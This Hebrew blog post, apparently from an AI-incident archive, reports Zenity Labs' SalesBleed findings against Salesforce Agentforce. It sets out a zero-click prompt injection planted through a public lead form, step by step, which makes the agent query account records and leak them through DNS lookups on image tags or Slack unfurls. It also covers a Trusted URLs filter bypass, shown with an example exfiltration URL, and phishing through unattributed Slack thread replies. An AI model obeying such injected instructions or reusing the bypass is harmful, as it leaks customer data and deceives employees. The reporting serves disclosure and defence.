AI Safety Incidents

SalesBleed: ליד ציבורי אחד, שלושה פגמים ב-Agentforce, אפס קליקים

מחבר

Elias Hawthorne

תאריך פרסום

Oct 26, 2026

מודלים אחרונים · 20צפו בכל המודלים →

בנצ'מרקים: Artificial Analysis · מתעדכן יומית

חזרה לכל הפוסטים

ב-24 בספטמבר 2026, Zenity Labs פרסמה מחקר שהיא מכנה SalesBleed: שלוש פגיעויות ב-Salesforce Agentforce, הפלטפורמה של ספקית ה-CRM לבנייה ולפריסה של סוכני AI, שמאפשרות לזר לשלוף רשומות לקוחות מתוך ארגון Salesforce של חברה ולאחר מכן להשתמש בסוכן של אותה חברה כדי לבצע פישינג בצוות שלה. שתיים מהשלוש אינן דורשות לחיצה מאף אחד בתוך החברה. החשיפה חלה על דיירי Agentforce שמקבלים Web-to-Lead פניות, ועל כל סוכן שדייר פרסם אל Slack. Dark Reading מדווחת שלא הוקצו מזהי CVE, ו-Salesforce אמרה לערוץ שאין לה ראיות לניצול נגד אף לקוח. התיעוד המלא, עם דירוג המהימנות וסטטוס הנזק של הארכיון עצמו, נמצא ב-Orca AI Incident Archive, שמתעד כל תקרית סוכנים מתועדת לצד המקורות המצוטטים שלה.

כיצד טופס לידים ציבורי הופך לערוץ נתונים

Web-to-Lead הוא המנגנון הרשמי של Salesforce לאיסוף לידים, והוא אינו מאומת מלכתחילה — הוא קיים כדי שכל אחד באינטרנט יוכל לשלוח טופס ותוכנו יגיע ל-CRM של הלקוח. הפוסט הראשון של Zenity, המיוחס ל-Alex Apostolov ולעמיתיו, נפתח בכך שזהו כל תנאי הכניסה: אין חשבון להשעות, אין סשן לבטל, אין אירוע התחברות לזיהוי. התוקף לעולם אינו נוגע בטנאנט.

השרשרת שהחוקרים מתארים מורכבת מחמישה מהלכים:

• התוקף שולח ליד דרך נקודת קצה ציבורית של Web-to-Lead, עם הזרקת פרומפט מוסתרת באחד מהשדות. הוא נראה כמו פנייה רגילה.

• הליד נשאר שם עד שעובד שואל את הסוכן שלו משהו שגרתי לחלוטין — הדוגמה של Zenity היא "בדוק את הלידים האחרונים שלי ועזור לי עם החדש ביותר."

• הסוכן קורא את הרשומה המורעלת ופועל לפי ההוראות שבתוכה, באמצעות כלי Query Records שתת-הסוכן המוגדר כברירת מחדל General CRM כבר מחזיק בו כדי להריץ שאילתה על טבלת Accounts. Zenity מבהירה במפורש שלא נדרשה הסלמת הרשאות: אותו תת-סוכן מגיע עם הרשאת קריאה גם ל-Leads וגם ל-Accounts, ואלה ברירות מחדל ולא תצורות שגויות.

• הוא כותב את הערכים שאותם אחזר — שם חברה וגודל עסקה, בדוגמה של החוקרים — אל תת-הדומיין של שם מארח שהתוקף שולט בו, ומדפיס את התוצאה חזרה למשתמש כתג תמונה ב-HTML.

• משטח הצ'אט מציג מקורות תמונה חיצוניים ללא סניטציה או שלב אישור, ולכן הלקוח מפענח את שם המארח. הנתונים יוצאים החוצה בתוך שאילתת ה-DNS.

HTML card kicked 'SalesBleed · the chain Zenity Labs describes', titled 'One form submission, five moves, zero clicks' and subtitled 'The entry point is a public form. The exit is a DNS lookup. Nothing in between asks for approval.' Five numbered bands run down the card. Step 1, 'Submit': a hidden indirect prompt injection goes into a field of a public Web-to-Lead form, and the endpoint is unauthenticated by design, so there is no account to suspend and no session to revoke. Step 2, 'Wait': the poisoned lead sits in the Leads table until an employee asks an ordinary question, such as check my latest leads and help me with the newest one. Step 3, 'Query': the agent follows the injected instructions and uses the Query Records tool in the default General CRM subagent to read the Accounts table, under permissions that subagent already holds. Step 4, 'Encode': a company name and a deal size are written into the subdomain of an attacker-controlled hostname and printed back to the user as an HTML image tag. Step 5, 'Leave': the chat surface fetches external images without asking, the client resolves the hostname, and the data reaches the attacker's authoritative DNS server before any HTTP request completes. A footer reads 'Steps as described by Zenity Labs on 24 September 2026; the Slack variant swaps the image tag for Slack URL unfurling. Card rendered by OrcaRouter.'

השלב האחרון הוא החלק שכדאי להאט בו. מכיוון שהמטען עובר בשליפת DNS, בקשת ה-HTTP שאחריה אינה רלוונטית — היא יכולה להיכשל, לפוג או להיחסם לחלוטין, והנתונים כבר יצאו. Zenity מציינת שזה שורד בקרות יציאת HTTP. תווית DNS בודדת מוגבלת ל-63 תווים ושם מלא ל-253, כך ששליחה אחת מדליפה פרוסה; החוקרים מתארים ריקון של טבלת Accounts שלמה, חשבון אחד בכל פעם, באמצעות בקשות חוזרות — ומכאן ה"bleed" בשם.

קיים ערוץ יציאה שני שדורש אפילו פחות: עבור סוכנים שפורסמו ל-Slack, לא נדרש תג תמונה. Slack הופך כתובות URL גולמיות לתצוגות מקדימות וסורק את הקישור כדי לבנות תצוגה כזו, כך שהדפסת ה-URL מספיקה כדי להפעיל את אותה בקשת DNS. SecurityWeek מצטט את הסיכום של Zenity לגבי ההתנהגות הנובעת מכך: Slack יוזם בקשות הנושאות נתוני CRM לתשתיות הנשלטות על ידי תוקפים ברגע שהקישורים מופיעים.

Zenity מקפידה על מה שמשמעות "zero-click" כאן, וההבחנה הזו חשובה. העובד עושה בדיוק דבר אחד: שואל את הסוכן שלו שאלה רגילה על הלידים שלו. הוא אינו פותח קובץ מצורף, אינו עוקב אחר קישור ואינו מקיים אינטראקציה עם שום דבר שהתוקף שלח. כל מה שקורה אחרי השאלה הזו אוטומטי. הליד הזדוני גם נשאר בטבלת Leads כמו כל רשומה אחרת, כך שהוא יכול לפעול שוב בכל פעם שעובד בוחן אותו — ותוקף שרוצה ערוץ רחב יותר יכול פשוט לשלוח יותר לידים. SecurityWeek מתעד פרט שהופך את הכשל לחד אף יותר: Agentforce דיווח שהתוכן נחסם על ידי מדיניות האבטחה של הארגון, אף על פי שנתוני ה-CRM כבר הגיעו לשרת של התוקף.

מדוע מסנן Trusted URLs לא החזיק

כתובות URL מהימנות הוא הבקרה של Salesforce שנועדה לעצור בדיוק את זה — היא מגבילה את היעדים החיצוניים ש-Agentforce יכולה להגיע אליהם ומסירה קישורים ותמונות שמצביעים לדומיינים שאיש לא אישר. Zenity מצאה שני מקרי קצה שביחד עברו ישר דרכה.

הראשון היה תחום הרמה העליונה. המסנן זיהה רק רשימה קבועה של סיומות TLD, ו-.fun — הדומיין שבו משתמשת פלטפורמת הבדיקות out-of-band app.interactsh.com — לא היה בה. ייתכן ששם מארח שמסתיים ב-TLD לא מזוהה לא יירשם כשם מארח כלל. השני היה היכן שמסתיים URL: המסנן והממשק שהציג את התשובה לא הסכימו לגבי תווי סיום, וסוגריים מסולסלים וסוגריים מרובעים נמצאו בפער. מחרוזת כגון https://random_string.oast.fun/{email} אינה URI תקף לפי RFC 3986, אך היא עדיין מפיקה את שאילתת ה-DNS שההתקפה צריכה. המסנן ראה מחרוזת פגומה שאינה URL והשאיר אותה לבד; הדפדפן היה מוכן למשוך אותה כמקור תמונה.

פרט מבני אחד הפך את העקיפה לניתנת לכוונון. תהליך ההשחרה פועל לאחר שהסוכן הפיק את פלטו, כתהליך נפרד שהמודל אינו יודע עליו. Zenity מצאה שגם הפלט הגולמי של הסוכן וגם הגרסה המושחרת היו נוכחים בתגובות שנשלחו ללקוח, מה שאיפשר לחוקרים להשוות בין השניים ולהסיר כל אנומליה שהמסנן תפס — למשל סוגריים מרובעים בתת-דומיין — עד שההזרקה הייתה יציבה מקצה לקצה.

Dark Reading מדווח כי הסתרת כתובות ה-URL של Salesforce הסתמכה עד כה על התאמת ביטויים רגולריים כדי להחליט אם מחרוזת נראית כמו כתובת URL, וזה מה שאיפשר להסתיר דומיינים בפורמטים בלתי צפויים. החברה אומרת שהיא החליפה זאת בניתוח כתובות URL התואם למפרט, ואיחדה את בדיקת כתובות ה-URL כך שכל התעבורה של סוכנים הקשורה ל-URL עוברת כעת דרך שער יחיד.

הפגם השלישי: פישינג תחת שמו של הסוכן עצמו

הממצא של Slack, שפורסם באותו יום בפוסט שני המיוחס ל-João Donato ועמיתיו, עוסק בזהות ולא בנתונים.Slack Knowledgeכולל כל הפעולות שלה ניתן להוסיף בשתי לחיצות.

רוב פעולות הכתיבה ב-Slack שבדקו החוקרים כללו שתי הגנות: שלב אישור לפני שליחה, וייחוס מפעיל שציין בפני הנמענים איזו בקשת משתמש גרמה להודעה. שליחת הודעה ישירה ב-Slack עשתה את שתיהן. השבה לשרשור ב-Slack לא עשתה אף אחת מהן. לאחר ש-Agentforce החליטה להפעיל את הפעולה הזו, ההודעה נשלחה ללא אישור וללא ייחוס — היא נשאה את זהות הסוכן ושום דבר שהצביע בחזרה אל מי שביקש אותה.

זה יצר שני נתיבי תקיפה. גורם פנימי זדוני שכבר יכול לשוחח עם הסוכן יכול לפרסם פישינג בשרשור הנכון ולצאת משם בלי ששום דבר יאפשר להתחקות אחריו, משום שהנמענים קוראים את ההודעה כהודעה מהסוכן. תוקף חיצוני משיג את אותה תוצאה דרך הזרקת Web-to-Lead: הליד המורעל מורה לסוכן להשיב בערוצי Slack, והוא עושה זאת בלי לשאול את העובד שהפעיל אותו. עקיפת ההסתרה של כתובות URL מהפוסט הראשון היא שמאפשרת לקישור הפישינג לעבור את הסינון; Zenity מצאה מאוחר יותר שאפשר להסתיר קישורים גם מאחורי טקסט markdown שנראה תמים. Zenity ו-Salesforce מנסחות את ההשלכה באותם מונחים: העובדים מקבלים את ההודעה ממערכת מהימנה שכבר פועלת בתוך מקום העבודה שלהם, ולא משולח חיצוני לא מוכר, וכל מי שעוקב אחרי הקישור ומוסר פרטי התחברות חושף את האימייל, Slack, מאגרי קוד מקור וכל דבר אחר שאליו אותה זהות יכולה להגיע.

מה מבוסס, ומה לא

ארבעה דברים מוסכמים בקרב המקורות שנסקרו כאן. Zenity הדגימה את שרשרות התקיפה ופרסמה הוכחת קונספט בווידאו. Salesforce מאשרת את הניתוח ומתארת את השינויים שעשתה — בהצהרות ל-Dark Reading ול-SecurityWeek. לא הוקצה CVE לאף אחד משלושת הפגמים, מה ש-Dark Reading מייחסת לכך שהתיקונים בוצעו בצד של Salesforce של שירות מתארח ולא בתוכנה שהלקוחות מפעילים. ו-Salesforce מציינת שאין בידה ראיות בשלב זה לכך שאף אחד מהם נוצל לרעה נגד לקוח.

HTML card kicked 'SalesBleed · what the sources actually support', titled 'Established, unproven, and unknown' and subtitled 'The record is graded confidence A on documentation, not on evidence of use.' Three columns. Column one, 'Established', sub-headed 'Agreed by the finder and the vendor': Zenity Labs demonstrated zero-click CRM exfiltration through Web-to-Lead against Agentforce; Salesforce acknowledges the analysis and describes the changes it made; no CVE identifiers were assigned to any of the three flaws; Salesforce says it has no evidence the flaws were exploited against a customer. Column two, 'Not independently reproduced', sub-headed 'Reporting, not re-testing': the technical chain rests on Zenity Labs' own testing and its video proof of concept; Dark Reading, SecurityWeek, Infosecurity Magazine and The Register all report the findings and carry Salesforce's statement; none of the coverage reviewed carries its own reproduction of the attack. Column three, 'Not published anywhere', sub-headed 'No source reviewed states these': how many tenants ran the affected defaults; whether any customer data left a customer environment; whether anyone other than Zenity Labs and Salesforce looked for the flaws in use. A footer reads 'As reported on 24 and 25 September 2026. Card rendered by OrcaRouter.'

מה שלא הוכרע הוא כל מה שקשור להיקף. אף מקור שנסקר כאן אינו קובע כמה דיירי Agentforce הריצו את ברירות המחדל המושפעות, האם נתוני לקוחות כלשהם אכן יצאו מסביבת לקוח, או האם מישהו מחוץ ל-Zenity Labs ול-Salesforce חיפש זאת. כלי התקשורת העצמאיים — Dark Reading, SecurityWeek, Infosecurity Magazine ו-The Register — דיווחו כל אחד על הממצאים והביאו את תגובת Salesforce, אך אף אחד מהסיקור הזה אינו מדווח על שחזור עצמאי משלו של המתקפה. אין חקירה טכנית עצמאית שנייה של SalesBleed, והמאמר הזה אינו מרמז על קיומה.

גם המקורות של הרשומה עצמה חלוקים על פרט אחד, באופן שראוי לציין אותו ולא להחליקו. ההודעה לעיתונות של Zenity, שהופצה דרך Business Wire ב-24 בספטמבר, אומרת ש-Salesforce טיפלה בעקיפות הספציפיות של Trusted URLs שדווחו על ידי Zenity "בתוך כשבועיים בקירוב". לוח הזמנים המפורט יום-אחר-יום בהודעה הטכנית של Zenity נע מ-1 ביוני, אז נשלח הדוח, ועד 18 ו-19 באוגוסט, אז אומת התיקון — קרוב יותר לאחד-עשר שבועות. שני התיאורים מגיעים מאותה ארגון.

מה Salesforce שינתה, ומתי

הגילוי נמשך זמן רב, ולפי Zenity, התנהל ברוח ידידותית. הממצאים נשלחו ל-Salesforce בדואר אלקטרוני ב-1 ביוני 2026; Salesforce אישרה אותם למחרת ואמרה שהיא עובדת על תיקונים; שני הצוותים קיימו שיחה טכנית ב-16 ביוני; Salesforce סגרה את הגילויים ב-17 ביוני בציינה שמחלקת ההנדסה עדיין עובדת. ב-18 באוגוסט Salesforce אישרה את התיקונים, וב-19 באוגוסט Zenity אימתה באופן ספציפי את עקיפת Trusted URLs. הייחוס בפעולה של Slack אושר כתוקן ב-20 באוגוסט. הדרישה לאישור כברירת מחדל ארכה יותר זמן: ב-25 באוגוסט Salesforce אמרה שהיא עדיין עובדת על כך, ב-10 בספטמבר היא הציבה את 21 בספטמבר כיעד, וב-21 בספטמבר Zenity בדקה ואימתה את כל השלושה.

HTML card kicked 'SalesBleed · disclosure timeline as published by Zenity Labs', titled 'June to September: eleven weeks of fixes' and subtitled 'Two reports, one Salesforce response. Dates are Zenity Labs' own disclosure notes.' Nine rows run down a vertical timeline. 1 June 2026: Zenity Labs reports all findings to Salesforce by email. 2 June 2026: Salesforce confirms the reports and says it is working on fixes quickly. 16 June 2026: call with the Salesforce security team on the vulnerability and possible mitigations. 17 June 2026: Salesforce closes the disclosures, noting engineering is actively working on a fix. 18 August 2026: Salesforce confirms the fixes. 19 August 2026: Zenity Labs confirms the fix for the reported Trusted URLs bypass. 20 August 2026: Zenity Labs confirms Reply to a Slack Thread now attributes the invoking user. 25 August to 10 September 2026: confirmation-by-default for that Slack action still pending, with Salesforce targeting 21 September. 21 September 2026: all fixes confirmed and tested by Zenity Labs. A footer reads 'Timeline per Zenity Labs, 24 September 2026. Salesforce's own statement to Dark Reading and SecurityWeek confirms the Slack default change and the Trusted URLs work. Card rendered by OrcaRouter.'

השינויים ש-Salesforce מתארת ספציפיים. הגדרות ברירת המחדל עבור פעולות Agentforce מסוימות ב-Slack מחייבות כעת אישור משתמש לפני שליחת הודעה, והחברה אומרת שהיא יוצרת קשר עם לקוחות ישירות כדי לעבור על התצורות שלהם. בנוגע ל-Trusted URLs, התאמת ה-regex הוסרה לטובת ניתוח תואם מפרט, ובדיקת URL אוחדה לשער אחד במקום להיות מטופלת בכמה נקודות בזרימת עבודה.

הערת הסיום של Zenity על התיקון של Slack היא הסתייגות ולא אישור מוחלט. דרישת האישור היא הגדרה, ונדרשת לחיצה אחת כדי לכבות אותה; ברגע שהיא כבויה, אותו נתיב תקיפה זמין שוב. עצת החוקרים לארגונים שבונים סוכנים היא לשים לב לאופן שבו מוגדרות פעולות כתיבה ולא להניח שברירת המחדל נשמרת.

מדוע החוקרים אומרים שזה מכליל

ככל שהפרטים ספציפיים ל-Salesforce, Zenity ממסגרת את SalesBleed כמקרה של דפוס. הסיכום שלה עצמה הוא שכל סוכן שקורא רשומות שהוגשו ממקורות חיצוניים, מציג בחזרה למשתמש קישורים או תמונות, וגם מחזיק בגישה לכלים לנתונים רגישים, מכיל את אותם שלושה מרכיבים באותו מקום. החוקרים מכנים את השילוב גרסה של השילוש הקטלני — נתונים פרטיים, תוכן לא מהימן וערוץ יוצא שנפגשים בזהות אחת.

לדפוס הזה יש היסטוריה מקומית. Dark Reading מדווח כי שנה לפני SalesBleed, חוקרים ב-Noma Security השתמשו באותו נתיב Web-to-lead כדי להגיע לנתוני Salesforce, וכי Salesforce הגיבה בכך שהחמירה את כללי ה-URL שלה — ההשחרה מבוססת ה-regex שזניטי (Zenity) אז עקפה. דובר Salesforce אישר ל-Dark Reading כי התגובה המוקדמת הייתה תיקון מהיר ולא מקיף, ואמר שזו הנוכחית אמורה להיות חסינה יותר.

"מצאנו דרכים מרובות לפרוץ את גבול האבטחה שנועד למנוע מ-Agentforce לשלוח נתוני ארגון ליעדים לא מאושרים", אומר מייקל ברגורי, מייסד שותף ומנהל טכנולוגיות ראשי ב-Zenity, בהודעה לעיתונות. "גבולות קשיחים נותרו אחד הכלים החזקים ביותר שלנו להכלת סוכני AI, אבל הם עדיין תוכנה. כשהבקרות האלה נכשלות, אנחנו נשארים עם סוכן בעל גישה מיוחדת, אוטונומיה גבוהה וללא גבולות." תמיר אישיי שרבט, מנהל מחקר האבטחה ב-Zenity, הציג את הנקודה הרחבה יותר ל-Dark Reading: ככל שסוכן מקבל יותר כוח, כך הוא מסוכן יותר, וסוכן שיכול לשלוח הודעות במספר ערוצים בעצמו ובמקביל לקרוא חוזים, לידים או חשבונות לתשלום הוא שילוב שינוצל לרעה. ברגורי הוסיף חשש נוסף לאותו כלי תקשורת — שסוכנים נבנים כקופסאות שחורות, עם סיכומים במקום יומנים, מה שמקשה לדעת מה סוכן עשה או מדוע.

מה שיעביר את הרשומה הזו מהדגמה לאירוע אינו טכניקה חדשה אלא פיסת ראיה: חשיפה מצד לקוח, CVE, או הצהרה של Salesforce או Zenity שלפיה השרשראות נראו בשימוש. דבר מכל אלה אינו קיים במקורות שנסקרו כאן. עד שיהיה כזה, SalesBleed ניצב כפי שהארכיון רושם אותו — פגיעות בחומרה גבוהה, מתועדת ברמת ודאות A בידי מי שגילו אותה ומאושרת כמטופלת בידי הספק, ללא נזק מתועד בעולם האמיתי.

SalesBleed: ליד ציבורי אחד, שלושה פגמים ב-Agentforce, אפס קליקים

כיצד טופס לידים ציבורי הופך לערוץ נתונים

מדוע מסנן Trusted URLs לא החזיק

הפגם השלישי: פישינג תחת שמו של הסוכן עצמו

מה מבוסס, ומה לא

מה Salesforce שינתה, ומתי

מדוע החוקרים אומרים שזה מכליל

מוצר

משאבים

לספקים

הצטרפו לקהילה שלנו

מהבלוג

ספקי מודלים